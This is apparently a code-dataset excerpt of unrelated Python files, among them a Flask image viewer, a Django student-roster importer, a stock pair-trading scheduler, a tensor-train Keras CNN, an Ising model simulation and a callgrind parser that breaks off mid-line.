{float(val)}\")\n\n print(\"Lumped system:\")\n for i in range(lumping_subspace.dim()):\n print(f\"{vars_new[i]}' = {lumped_polys[i]}\")\n\n return {\"polynomials\" : lumped_polys, \"subspace\" : [v.to_list() for v in lumping_subspace.basis()], \"new_ic\" : new_ic}\n\n#------------------------------------------------------------------------------\n\ndef do_lumping(\n polys, observable, \n new_vars_name='y', \n print_system=False, \n print_reduction=True, \n out_format=\"sympy\", \n loglevel=\"INFO\",\n initial_conditions=None\n ):\n \"\"\"\n Main function, performs a lumping of a polynomial ODE system\n Input\n - polys - the right-hand side of the system\n - observable - a nonempty list of linear forms in state variables\n that must be kept nonlumped\n - new_vars_name (optional) - the name for variables in the lumped polynomials\n - print_system and print_reduction (optional) - whether to print the original system and the result, respectively on the screen\n - out_format - \"sympy\" or \"internal\", the way the output polynomials should be represeted\n the options are sympy polynomials and SparsePolynomial\n - loglevel - INFO (only essential information) or DEBUG (a lot of infromation about the computation process)\n Output\n a tuple (the right-hand side of an aggregated system, new_variables)\n \"\"\"\n\n logging.basicConfig(\n format='%(asctime)s %(levelname)-8s %(message)s',\n level= logging.INFO if loglevel == \"INFO\" else logging.DEBUG,\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=\"lumper_debug.log\"\n )\n logging.debug(\"Starting aggregation\")\n\n if isinstance(polys[0], SparsePolynomial):\n logging.debug(\"Input is in the SparsePolynomial format\")\n else:\n logging.debug(\"Input is expected to be in SymPy format\")\n polys = [SparsePolynomial.from_sympy(p) for p in polys]\n observable = [SparsePolynomial.from_sympy(ob) for ob in observable]\n\n result = do_lumping_internal(polys, observable, new_vars_name, print_system, print_reduction, initial_conditions)\n\n if initial_conditions is not None:\n eval_point = [initial_conditions.get(v, 0) for v in polys[0].gens]\n result[\"new_ic\"] = []\n for vect in result[\"subspace\"]:\n result[\"new_ic\"].append(sum([p[0] * p[1] for p in zip(eval_point, vect)]))\n\n if out_format == \"sympy\":\n out_ring = result[\"polynomials\"][0].get_sympy_ring()\n result[\"polynomials\"] = [out_ring(p.get_sympy_dict()) for p in result[\"polynomials\"]]\n elif out_format == \"internal\":\n pass\n else:\n raise ValueError(f\"Unknown output format {out_format}\")\n return result\n\n#------------------------------------------------------------------------------\n","sub_path":"clue.py","file_name":"clue.py","file_ext":"py","file_size_in_byte":28133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"597711823","text":"import os \ndic ={}\ndef menu ():\n global choice\n print('------------vocab---------\\n 1.เพิ่มคำศัพท์ \\n 2.แสดงคำศัพท์ \\n 3.ลบศัพท์\\n 4.ออกจากระบบ ')\n choice = input(\"กรุณาเลือกทำรายการ : \")\ndef เพิ่มคำศัพท์():\n a=input(\"\\nเพิ่มคำศัพท์ : \")\n s=input(\"ชนิดคำ ( n. , v. , adj. , adv ) : \")\n d=input(\"ความหมาย : \")\n dic[a]=s,d\n print(\"เพิ่มคำศัพท์เรียบร้อย\")\ndef แสดงคำศัพท์():\n print(\"*\"*30+\"\\n\\tคำศัพท์ทั้งหมด\\n\"+\"*\"*30+\"\\nคำศัพท์ ประเภท ความหมาย \")\n for key in dic:\n print(\"{}{:<5}{}\".format ( key,\" \",dic[key] ))\ndef ลบคำศัพท์ออก():\n delist = input(\"\\nกรุณาพิมพ์คำศัพท์ที่ต้องการลบ :\")\n ex = input(\"ต้องการลบ {}ใช่หรือไม่ (y/n):\".format(delist))\n if ex == \"y\":\n del dic[delist]\n print(\"ลบ\"+delist+\"เรียบร้อยแล้ว\")\n\n\nwhile True:\n menu()\n if choice==\"1\":\n เพิ่มคำศัพท์()\n elif choice==\"2\":\n แสดงคำศัพท์()\n elif choice==\"3\":\n ลบคำศัพท์ออก()\n elif choice==\"4\":\n ch = input (\"\\nคุณต้องการอยู่ในระบบต่อไปหรือไม่ (ใช้/ไม่ใช่) :\")\n if ch ==\"ไม่ใช่\":\n print(\"ออกจากระบบเรียบร้อยแล้ว\")\n break\n elif ch == \"ใช่\":\n continue\n ","sub_path":"week4/week4test4.2.py","file_name":"week4test4.2.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"436976461","text":"from flask import render_template, url_for, session, redirect, flash\r\nfrom app import webapp\r\nfrom s3_config import *\r\nfrom database_helper import *\r\n\r\n# Check whether the user is logged in or not first\r\n# If yes, render the template imgview.html with parameter ImgName and itsID\r\n@webapp.route('///detail')\r\ndef imgview(ImgName, ImgID):\r\n session.permanent = True\r\n if 'username' in session:\r\n username = session['username']\r\n cnx = get_db()\r\n cursor = cnx.cursor(buffered=True)\r\n query = \"SELECT UploadUser from images WHERE ImgID = %s \"\r\n cursor.execute(query, (ImgID,))\r\n\r\n if cursor.rowcount <= 0:\r\n return redirect(url_for('main'))\r\n row = cursor.fetchone()\r\n photo_owner = str(row[0])\r\n cursor.close()\r\n if photo_owner == username:\r\n s3 = create_connection()\r\n if validate_bucket_exists(s3, 'ece1779_a2_bucket'):\r\n download_file(s3, 'ece1779_a2_bucket', ImgName + '.jpg', username)\r\n download_file(s3, 'ece1779_a2_bucket', ImgName + '_' + str(ImgID) + '_enhancement.jpg', username)\r\n download_file(s3, 'ece1779_a2_bucket', ImgName + '_' + str(ImgID) + '_rotated.jpg', username)\r\n download_file(s3, 'ece1779_a2_bucket', ImgName + '_' + str(ImgID) + '_sinusoid.jpg', username)\r\n flash(username)\r\n return render_template('imgview.html',ImgName = ImgName, ImgID = str(ImgID))\r\n else:\r\n return redirect(url_for('main'))\r\n return redirect(url_for('main'))\r\n","sub_path":"A2/app/Imgview.py","file_name":"Imgview.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"584387676","text":"# scripts/import_students.py\n\n# Full path and name to your csv file\n# csv_filepathname=\"/Users/alexandertrost/PycharmProjects/newton/brain/scripts/grade2students2016.csv\"\nstudent_csv=\"brain/management/commands/studentroster2016.csv\"\nteacher_csv=\"brain/management/commands/teacherlist.csv\"\nclass_csv=\"brain/management/commands/classlist.csv\"\n\n# Full path to your django project directory\nyour_djangoproject_home=\"/home/alex/newton/\"\nimport django\nimport datetime\nimport sys,os\nsys.path.append(your_djangoproject_home)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"newton.settings\")\n\ndjango.setup()\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom brain.models import StudentRoster, CurrentClass, Teacher\n\nimport csv\nstudentReader = csv.reader(open(student_csv), delimiter=',', quotechar='\"')\nteacherReader = csv.reader(open(teacher_csv), delimiter=',', quotechar='\"')\nclassReader = csv.reader(open(class_csv), delimiter=',', quotechar='\"')\n\n\n\n\nclass Command(BaseCommand):\n help = 'Updates the teachers and student Roster by importing a CSV'\n\n def add_arguments(self, parser):\n # add arguments here if you need some customization\n pass\n\n\n\n\n def handle(self, *args, **options):\n for row in teacherReader:\n if row[0] != 'Last Name': # Ignore the header row, import everything else\n title = row[0]\n first_name = row[1]\n last_name = row[2]\n\n obj, created = Teacher.objects.get_or_create(\n last_name=last_name,\n first_name=first_name,\n title=title,\n )\n\n for row in classReader:\n if row[0] != 'Last Name': # Ignore the header row, import everything else\n year = row[0]\n grade = row[1]\n teacher = Teacher.objects.all().get(last_name=row[2])\n obj, created = CurrentClass.objects.get_or_create(\n year=year,\n grade=grade,\n teacher=teacher,\n )\n\n for row in studentReader:\n if row[0] != 'Last Name': # Ignore the header row, import everything else\n last_name = row[0]\n first_name = row[1]\n date_of_birth = datetime.datetime.strptime(row[2], \"%m/%d/%y\").strftime('%Y-%m-%d')\n gender = row[3]\n current_class = CurrentClass.objects.all().get(teacher__last_name=row[4])\n obj, created = StudentRoster.objects.get_or_create(\n last_name=last_name,\n first_name=first_name,\n date_of_birth=date_of_birth,\n gender=gender,\n current_class=current_class,\n )","sub_path":"brain/management/commands/update_student_roster.py","file_name":"update_student_roster.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"64415375","text":"import sys\r\n\r\n\r\ndef dfs(tree, root, priv_root, cur_lvl, priv_lvl, diff, pick_list):\r\n # if tree is 1 or less nodes just return nothing\r\n if not tree:\r\n return\r\n stack = [(root, priv_root, cur_lvl, priv_lvl)]\r\n while stack:\r\n (root, priv_root, cur_lvl, priv_lvl) = stack.pop()\r\n # set level to account for only evens where a difference exists\r\n if cur_lvl ^ diff[root]:\r\n cur_lvl ^= 1\r\n pick_list.append(str(root))\r\n # add to the queue all cases where a vertex exists\r\n stack += [(vertex, root, priv_lvl, cur_lvl) for vertex in tree[root] if vertex != priv_root]\r\n\r\ndef main():\r\n n = int(input())\r\n tree = dict()\r\n for _ in range(n - 1):\r\n u, v = [int(x) for x in input().split()]\r\n tree[u] = tree.get(u, set()) | set([v])\r\n tree[v] = tree.get(v, set()) | set([u])\r\n init = [0] + [int(x) for x in input().split()]\r\n goal = [0] + [int(x) for x in input().split()]\r\n # find numbers that don't match that need to be accounted for\r\n diff = [i ^ j for (i, j) in zip(init, goal)]\r\n pick_list = list()\r\n\r\n dfs(tree, 1, 0, 0, 0, diff, pick_list)\r\n\r\n num = len(pick_list)\r\n print(num)\r\n if num:\r\n print('\\n'.join(pick_list))\r\n\r\nif __name__ == '__main__':\r\n sys.exit(main())","sub_path":"Problems/12/429Afast.py","file_name":"429Afast.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"61577980","text":"import datetime as dt\nimport json\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nimport sys\nimport os\nimport django\npath = os.getcwd() #현재 파일 위치 문자열로 반환\npath = os.path.split(path) #상위폴더위치 찾기 위한 스플릿\nsys.path.append(path[0])#상위폴더위치 sys.path에 등록\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mainix.settings\")\ndjango.setup()\nimport schedule\nimport time\nimport pandas as pd\nfrom pairtrade_stock.function import Kosdaq_Signals,Kospi_Signals,Pairtrade_dt ,stock_price\nfrom pairtrade_stock.models import Stock_Table , Kospi_StockName , Kosdaq_StockName,Stock_Pair_Trade\n\n\n\n\n\ntime1 = dt.datetime.now()\nnowtime = time1.strftime('%Y-%m-%d'+'T'+'%H')\n\ndays = 500\n\ntop5_list=['베셀','케이피에스','아나패스','아이씨디', '엘티씨']\nname1='힘스'\nPair_Data=Kosdaq_Signals(name1, top5_list)\ndef Kosdaq_Signal_db():\n n=len(Pair_Data)\n for i in range(n):\n d = Pair_Data[i]['Date']\n s1 = Pair_Data[i]['Stock1']\n s2 = Pair_Data[i]['Stock2']\n sig = Pair_Data[i]['Signal']\n Stock_Table(Date=d, Stock_Name1=s1, Stock_Name2=s2, Signal=sig).save()\n print('save')\n\n\n\n\n\ndef Stock_Pair_Profit():\n top5_list = ['베셀', '케이피에스', '아나패스', '아이씨디', '엘티씨']\n name1 = '힘스'\n data_list={}\n Trade_data = Stock_Pair_Trade.objects.all()\n Signal_data = Stock_Table.objects.all()\n kosdaq_db = Kosdaq_StockName.objects.all()\n kosdaq_dic = {}\n position=[]\n for stock in kosdaq_db:\n s = stock.stock_name\n c = stock.stock_code\n kosdaq_dic[s] = c\n trade_num = 20\n for i in range(len(top5_list)):\n name = top5_list[i]\n base_data= Trade_data.filter(Pair_stock=name).last()\n signal_data = Signal_data.filter(Stock_Name2=name).last()\n data_list[name]={'profit': base_data.Cash_Balance, 'signal':signal_data.Signal,'c1':base_data.Count1,\n 'c2':base_data.Count2,'avg1' : base_data.Avg_price1,'avg2' : base_data.Avg_price2}\n\n for n in top5_list:\n money = data_list[n]['profit']\n countS1 = data_list[n]['c1']\n countS2 = data_list[n]['c2']\n signal = data_list[n]['signal']\n avg_p1 = data_list[n]['avg1']\n avg_p2 = data_list[n]['avg2']\n code2 = kosdaq_dic[n]\n code1 = kosdaq_dic[name1]\n S1_price = stock_price(code1)['openPrice'][-1]\n S2_price = stock_price(code2)['openPrice'][-1]\n Date =time1.strftime('%Y-%m-%d')\n\n if signal == n + '매수':\n money += 0\n countS1 -= trade_num\n countS2 += (S1_price/S2_price)* trade_num\n avg_price1 = avg_p1\n avg_price2 = int((S2_price + avg_p2)/2)\n assesment = money + int(countS2*S2_price*(S2_price/avg_price2-1))\n position.append(\n {'Date': Date, '수익': money, name1: countS1, n : countS2, '평가수익': assesment, \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n elif signal == name1 + '매수':\n money -= 0\n countS1 += trade_num\n countS2 -=(S1_price/S2_price) * trade_num\n avg_price1 = int((S1_price + avg_p1) / 2)\n avg_price2 = avg_p2\n assesment = money + int(countS1*S1_price*(S1_price/avg_price1-1))\n position.append(\n {'Date': Date, '수익': money, name1: countS1, n: countS2, '평가수익': assesment, \"avg_price1\": avg_price1,\n 'avg_price2': avg_price2})\n\n # Clear positions if the z-score between -.5 and .5\n # -0.5~0.5 사이인 경우 수익일 경우 이익 실현\n elif signal=='청산':\n if countS1 > 0:\n money += int(countS1*S1_price - countS1*avg_p1)\n elif countS2 > 0:\n money += int(countS2*S2_price - countS2*avg_p2)\n else:\n pass\n countS1 = 0\n countS2 = 0\n # total = money + Price_ratios[name1][i] * countS1 + Price_ratios[name2][i] * countS2\n\n position.append(\n {'Date': Date, '수익': money, name1: countS1, n: countS2, '평가수익': money,\"avg_price1\": 0,'avg_price2': 0})\n else:\n position.append(\n {'Date': Date, '수익': money, name1: countS1, n: countS2, '평가수익': money,\"avg_price1\": avg_p1, 'avg_price2': avg_p2})\n\n d = Date\n s1 = name1\n s2 = n\n pro = money\n p1 = countS1\n p2 = countS2\n av1 = avg_p1\n av2 = avg_p2\n Stock_Pair_Trade(Date=d, Base_stock=s1, Pair_stock=s2, Cash_Balance=pro, Count1=p1, Count2=p2, Avg_price1=av1,\n Avg_price2=av2).save()\n print('save')\n\n\n#schedule.every(10).seconds.do(Stock_Pair_Profit)\n#schedule.every(10).seconds.do(Kosdaq_Signal_db)\n#schedule.every(60).seconds.do(Kosdaq_Signal_db)\n#print(Kosdaq_Signal_db())\n\n\nschedule.every().day.at(\"00:30\").do(Kosdaq_Signal_db)\nschedule.every().day.at(\"09:30\").do(Stock_Pair_Profit) #매십포마다 실행\n\n\nwhile True:\n schedule.run_pending()\n time.sleep(1)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef Kosdaq_trade_db():\n kosdaq_db = Kosdaq_StockName.objects.all()\n kosdaq_dic = {}\n for stock in kosdaq_db:\n s = stock.stock_name\n c = stock.stock_code\n kosdaq_dic[s] = c\n pair_signals = []\n for i in range(len(top5_list)):\n name2 = top5_list[i]\n Total_StockNmae_dic = kosdaq_dic\n window1 = 5\n window2 = 60\n code1 = Total_StockNmae_dic[name1]\n code2 = Total_StockNmae_dic[name2]\n S1 = stock_price(code1)\n S2 = stock_price(code2)\n ratios = S1.div(S2)\n S1 = S1.rename(columns={'openPrice': name1})\n S2 = S2.rename(columns={'openPrice': name2})\n ratios = ratios.rename(columns={'openPrice': 'ratios'})\n ratios = ratios.dropna()\n ma1 = ratios.rolling(window=window1,\n center=False).mean()\n ma2 = ratios.rolling(window=window2,\n center=False).mean()\n std = ratios.rolling(window=window2,\n center=False).std()\n zscore = (ma1 - ma2) / std\n # zscore = zscore[window2-1:]\n zscore = zscore.rename(columns={'ratios': 'zscore'})\n Price_ratios = pd.concat([S1, S2, ratios, zscore], axis=1, sort=True)\n Price_ratios = Price_ratios.dropna()\n def Pairtrade_dt(Price_ratios):\n money = 0\n countS1 = 0\n countS2 = 0\n position = []\n trade_num = 20\n\n # print(Price_ratios['zscore'])\n S1_price = []\n S2_price = []\n\n for i in range(len(Price_ratios)):\n # Sell short if the z-score is > 1\n Date = Price_ratios.index[i]\n if i > 1:\n avg_price2 = 0\n avg_price1 = 0\n if Price_ratios['zscore'].values[i - 1] > 1:\n money += 0\n countS1 -= trade_num\n countS2 += Price_ratios['ratios'][i] * trade_num\n S2_price.append(Price_ratios[name2][i])\n # assessment =\n # total = money + Price_ratios[name1][i] * countS1 + Price_ratios[name2][i] * countS2\n avg_price2 = int(sum(S2_price)/len(S2_price))\n assesment = money + int(countS2 * (sum(S2_price) / len(S2_price)) * (Price_ratios[name2][i] / (sum(S2_price) / len(S2_price)) - 1))\n position.append(\n {'Date': Date, 'signal': round(Price_ratios['zscore'].values[i], 3), 'postion': '매도',\n '수익': money, name1: countS1,\n name2: countS2, '평가수익': assesment, \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n elif Price_ratios['zscore'].values[i - 1] < -1:\n money -= 0\n countS1 += trade_num\n countS2 -= Price_ratios['ratios'][i] * trade_num\n S1_price.append(Price_ratios[name1][i])\n # total = money + Price_ratios[name1][i] * countS1 + Price_ratios[name2][i] * countS2\n avg_price1 = int(sum(S1_price)/len(S1_price))\n assesment = money + int(countS1 * (sum(S1_price) / len(S1_price)) * (\n Price_ratios[name1][i] / (sum(S1_price) / len(S1_price)) - 1))\n position.append(\n {'Date': Date, 'signal': round(Price_ratios['zscore'].values[i], 3), 'postion': '매수',\n '수익': money, name1: countS1,\n name2: countS2, '평가수익': assesment, \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n\n # Clear positions if the z-score between -.5 and .5\n # -0.5~0.5 사이인 경우 수익일 경우 이익 실현\n elif abs(Price_ratios['zscore'].values[i - 1]) < 0.4 and (Price_ratios[name1][i] * countS1 + Price_ratios[name2][i] * countS2) > 0:\n if countS1 > 0:\n money += int(countS1 * (sum(S1_price) / len(S1_price)) * (\n Price_ratios[name1][i] / (sum(S1_price) / len(S1_price)) - 1))\n elif countS2 > 0:\n money += int(countS2 * (sum(S2_price) / len(S2_price)) * (\n Price_ratios[name2][i] / (sum(S2_price) / len(S2_price)) - 1))\n else:\n pass\n countS1 = 0\n countS2 = 0\n # total = money + Price_ratios[name1][i] * countS1 + Price_ratios[name2][i] * countS2\n\n position.append(\n {'Date': Date, 'signal': round(Price_ratios['zscore'].values[i], 3), 'postion': '청산',\n '수익': money, name1: countS1,name2: countS2, '평가수익': money, \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n S1_price.clear()\n S2_price.clear()\n else:\n if len(position)>0:\n position.append({'Date': Date, 'signal': round(Price_ratios['zscore'].values[i], 3), 'postion': '대기',\n '수익': money, name1: countS1,name2: countS2, '평가수익': position[-1]['평가수익'], \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n else:\n position.append(\n {'Date': Date, 'signal': round(Price_ratios['zscore'].values[i], 3), 'postion': '대기',\n '수익': money, name1: countS1, name2: countS2, '평가수익': 0, \"avg_price1\":avg_price1,'avg_price2': avg_price2})\n\n else:\n pass\n return position\n Trade_Data = Pairtrade_dt(Price_ratios)\n\n n = len(Trade_Data)\n\n for i in range(n):\n d = Trade_Data[i]['Date']\n s1 = name1\n s2 = name2\n pro = Trade_Data[i]['평가수익']\n p1=Trade_Data[i][name1]\n p2=Trade_Data[i][name2]\n av1 =Trade_Data[i]['avg_price1']\n av2 =Trade_Data[i]['avg_price2']\n Stock_Pair_Trade(Date=d, Base_stock=s1, Pair_stock=s2,Cash_Balance=pro ,Count1=p1,Count2=p2,Avg_price1=av1,Avg_price2=av2).save()\n print(Trade_Data)\n print('save')\n\nprint(Kosdaq_trade_db())\n\n","sub_path":"mainix/pairtrade_stock/signal_db.py","file_name":"signal_db.py","file_ext":"py","file_size_in_byte":11803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"157769587","text":"from TensorTrain.TTLayer import TT_Layer\nfrom keras.models import Model\nfrom keras.layers import Conv2D, MaxPooling2D, Dense, Dropout, Flatten, Input\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.regularizers import l2\n\ndef singleres_TT_CNN(filters, kernel_size, tt_input_shape,\n tt_output_shape, tt_ranks, data):\n\n input_fullres = Input(data.shape[1:], name = 'input_fullres')\n\n conv_layer_1 = Conv2D(filters,\n (kernel_size, kernel_size),\n activation=LeakyReLU())(input_fullres)\n conv_layer_1 = MaxPooling2D(pool_size=(2, 2))(conv_layer_1)\n conv_layer_1 = BatchNormalization()(conv_layer_1)\n\n conv_layer_2 = Conv2D(filters,\n (kernel_size, kernel_size),\n activation=LeakyReLU())(conv_layer_1)\n conv_layer_2 = MaxPooling2D(pool_size=(2, 2))(conv_layer_2)\n conv_layer_2 = BatchNormalization()(conv_layer_2)\n conv_layer_2 = Flatten()(conv_layer_2)\n\n TT_layer_3 = TT_Layer(tt_input_shape=tt_input_shape,\n tt_output_shape=tt_output_shape,\n tt_ranks=tt_ranks,\n activation=LeakyReLU(),\n use_bias=True,\n kernel_regularizer=l2(.001), )(conv_layer_2)\n TT_layer_3 = Dropout(0.5)(TT_layer_3)\n\n TT_layer_4 = TT_Layer(tt_input_shape=tt_input_shape, \n tt_output_shape=tt_output_shape,\n tt_ranks=tt_ranks,\n activation=LeakyReLU(), \n use_bias=True,\n kernel_regularizer=l2(.001), )(TT_layer_3)\n\n output_layer = Dense(2,activation='linear')(TT_layer_4)\n\n model = Model(inputs=[input_fullres], outputs=[output_layer])\n model.compile(loss='mean_absolute_error', optimizer='adam')\n\n return model\n","sub_path":"modelling/singleres_TT_CNN.py","file_name":"singleres_TT_CNN.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"479972800","text":"n = int(input())\nmedias = []\n\nnumeros = [input().split() for a in range(0, n)]\n\nfor i in range(0, n):\n # numeros[i].append(input().split())\n numeros = [list(map(float, item)) for item in numeros]\n\n media = (2 * numeros[i][0] + 3 * numeros[i][1] + 5 * numeros[i][2]) / 10\n medias.append(media)\n\nfor i in range(0, len(medias)):\n print(\"{:.1f}\".format(medias[i]))\n","sub_path":"Iniciante/1079.py","file_name":"1079.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"611289974","text":"\n\nfrom ..utils import Object\n\n\nclass InputInlineQueryResultAnimatedMpeg4(Object):\n \"\"\"\n Represents a link to an animated (i.e. without sound) H.264/MPEG-4 AVC video \n\n Attributes:\n ID (:obj:`str`): ``InputInlineQueryResultAnimatedMpeg4``\n\n Args:\n id (:obj:`str`):\n Unique identifier of the query result \n title (:obj:`str`):\n Title of the result \n thumbnail_url (:obj:`str`):\n URL of the static result thumbnail (JPEG or GIF), if it exists\n mpeg4_url (:obj:`str`):\n The URL of the MPEG4-file (file size must not exceed 1MB) \n mpeg4_duration (:obj:`int`):\n Duration of the video, in seconds \n mpeg4_width (:obj:`int`):\n Width of the video \n mpeg4_height (:obj:`int`):\n Height of the video\n reply_markup (:class:`telegram.api.types.ReplyMarkup`):\n The message reply markupMust be of type replyMarkupInlineKeyboard or null\n input_message_content (:class:`telegram.api.types.InputMessageContent`):\n The content of the message to be sentMust be one of the following types: InputMessageText, InputMessageAnimation, InputMessageLocation, InputMessageVenue or InputMessageContact\n\n Returns:\n InputInlineQueryResult\n\n Raises:\n :class:`telegram.Error`\n \"\"\"\n ID = \"inputInlineQueryResultAnimatedMpeg4\"\n\n def __init__(self, id, title, thumbnail_url, mpeg4_url, mpeg4_duration, mpeg4_width, mpeg4_height, reply_markup, input_message_content, **kwargs):\n \n self.id = id # str\n self.title = title # str\n self.thumbnail_url = thumbnail_url # str\n self.mpeg4_url = mpeg4_url # str\n self.mpeg4_duration = mpeg4_duration # int\n self.mpeg4_width = mpeg4_width # int\n self.mpeg4_height = mpeg4_height # int\n self.reply_markup = reply_markup # ReplyMarkup\n self.input_message_content = input_message_content # InputMessageContent\n\n @staticmethod\n def read(q: dict, *args) -> \"InputInlineQueryResultAnimatedMpeg4\":\n id = q.get('id')\n title = q.get('title')\n thumbnail_url = q.get('thumbnail_url')\n mpeg4_url = q.get('mpeg4_url')\n mpeg4_duration = q.get('mpeg4_duration')\n mpeg4_width = q.get('mpeg4_width')\n mpeg4_height = q.get('mpeg4_height')\n reply_markup = Object.read(q.get('reply_markup'))\n input_message_content = Object.read(q.get('input_message_content'))\n return InputInlineQueryResultAnimatedMpeg4(id, title, thumbnail_url, mpeg4_url, mpeg4_duration, mpeg4_width, mpeg4_height, reply_markup, input_message_content)\n","sub_path":"pytglib/api/types/input_inline_query_result_animated_mpeg4.py","file_name":"input_inline_query_result_animated_mpeg4.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"114181227","text":"from math import exp\nfrom random import randrange,choice,random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport time\nfrom copy import deepcopy\nimport imageio\nimport os\nfrom math import floor\n\n\n\n#n is length of x-axis, T_max is highest temp and T_min is lowest temp\n#Chunks is the number of pieces you want to slice array into.\n#Temperature will hold at T_min for first chunk, rise, hold at T_max for 1 chunk, fall, then hold at T_min again for last chunk.\n#Thus chunks must be greater than 3, and if you want to avoid 1 or 2 rounding errors make n evenly divisible by chunks.\n#Returns all of this as an array of length n\n\n\ndef make_gradient(n,T_min,T_max,chunks):\n a = T_min\n Temp_grad = np.zeros(n)\n divider = int(n/chunks)\n move = int(.5*(n-3*divider))\n\n\n Temp_grad[0:divider] = T_min\n Temp_grad[n-divider:n] = T_min\n\n if chunks%2 == 1:\n #odd\n Temp_grad[int(chunks/2)*divider:int(chunks/2+1)*divider] = T_max\n if chunks%2 == 0:\n #even\n Temp_grad[int(chunks/2-1)*divider:int(chunks/2+1)*divider] = T_max\n\n for i in range(move):\n step = (T_max-T_min)/move\n\n a += step\n\n Temp_grad[int(divider+i)] = a\n Temp_grad[-int(divider+i)-1] = a\n\n\n return(Temp_grad)\n\n\ndef init_ising_lattice(n,m):\n lattice = np.zeros((n,m),dtype=int)\n options = [-1,1]\n for i in range(n):\n for j in range(m):\n lattice[i,j] = choice(options)\n return lattice\n\ndef energydiff(S0,Sn,J,H):\n return 2*S0*(H+J*Sn)\n\n\ndef ising(isShow,n=200, m=50,nsteps=500000,H=0,J=1,T_min = 1,T_max = 4,chunks = 5, name = 'dir/temp', save = False):\n lattice = init_ising_lattice(n,m)\n Gradient = make_gradient(m,T_min,T_max,chunks)\n\n energy = 0\n energies = []\n spins = []\n spin = np.sum(lattice)\n pics2 = []\n filenames = []\n\n binsize = 5\n print('Chosen Binsize', binsize)\n bar_data = np.zeros(int(m/binsize))\n cols = np.arange(0,m-1,binsize)\n\n for step in range(nsteps):\n i = randrange(n)\n j = randrange(m)\n\n Sn = lattice[(i-1)%n,j]+lattice[(i+1)%n,j]+\\\n lattice[i,(j-1)%m]+lattice[i,(j+1)%m]\n\n dE = energydiff(lattice[i,j],Sn,J,H)\n\n if dE < 0 or random() < exp(-dE/Gradient[j]):\n lattice[i,j] = -lattice[i,j]\n energy += dE\n energies.append(energy)\n spin += 2*lattice[i,j]\n bar_data[int(floor(j/binsize))] += 1\n\n spins.append(spin)\n\n if isShow:\n if step%5000 == 0:\n\n im2 = plt.bar(cols, bar_data, color = 'red', width = 4)\n plt.ylim([0,800])#([0,n*binsize*nsteps/5000])\n pics2.append(im2)\n if save == True:\n filename = name + str(step) + '.png'\n plt.savefig(filename)\n filenames.append(filename)\n if step == nsteps-1:\n return Gradient, filenames, pics2\n\nn = 50\nm=200\nnsteps = 50000\nH = 0\nJ = 1.0\nT_min = 2.0\nT_max = 3.5\nchunks = 10\n#filename = 'run1'\nGradient, filenames, pics2 = ising(True, n,m,nsteps,H,J,T_min,T_max,chunks,'Pics/run',True)\n\n# spins = np.asarray(spins)/n**2\n\n# pics = [plt.imshow([[1,1],[1,0]], animated=True), plt.imshow([[0,0],[0,1]], animated=True)]\n\nfig = plt.figure()\n\n# ani = animation.ArtistAnimation(fig, pics, interval=100, blit=True,\n# repeat_delay=0)\nprint(pics2)\nani = animation.ArtistAnimation(fig, pics2, interval=200, repeat_delay=1000,\n blit=True)\n#plt.plot(Gradient)\n\n#READ IMAGES AND CREATE GIF\nimages = []\nfor filename in filenames:\n images.append(imageio.imread(filename))\nimageio.mimsave('animations/bartest1.gif', images)\n\n# REMOVE FILES OF JUST PICS (POINTLESS AND TO AVOID CLUTTER)\nfor filename in filenames:\n os.remove(filename)\nprint(\"File Removed!\")\n\n# plt.plot(spins)\nplt.show()\n","sub_path":"ising_hist.py","file_name":"ising_hist.py","file_ext":"py","file_size_in_byte":3923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"377786063","text":"import sys,os\r\nfrom .monitor import Monitor\r\nimport pandas as pd\r\n\r\nclass CallgrindParser(Monitor):\r\n def __init__(self, dir, rank, refresh, lang):\r\n super().__init__(dir, rank, refresh)\r\n self.lang = lang\r\n self.raw_path = os.path.join(self.dir, f\"callgrind_raw_{self.rank}.log\")\r\n self.pretty_path = os.path.join(self.dir, f\"callgrind_pretty_{self.rank}.log\")\r\n self.csv_path = os.path.join(self.dir, f\"callgrind_{self.rank}.csv\")\r\n\r\n def mointor_cmd(self, command):\r\n print(f\"MONITORING WITH CALLGRIND using cmd={command}\")\r\n self._launch(f\"valgrind --tool=callgrind --dump-instr=yes --trace-jump=yes --callgrind-out-file={self.raw_path} {command}\".split())\r\n\r\n def monitor_pid(self, pid):\r\n raise Exception(\"Cannot monitor using PID for callgrind\")\r\n\r\n def parse(self):\r\n print(f\"PARSING CALLGRIND\")\r\n #Parse the raw output\r\n self._launch(f\"callgrind_annotate --show-percs=yes {self.raw_path}\".split(), 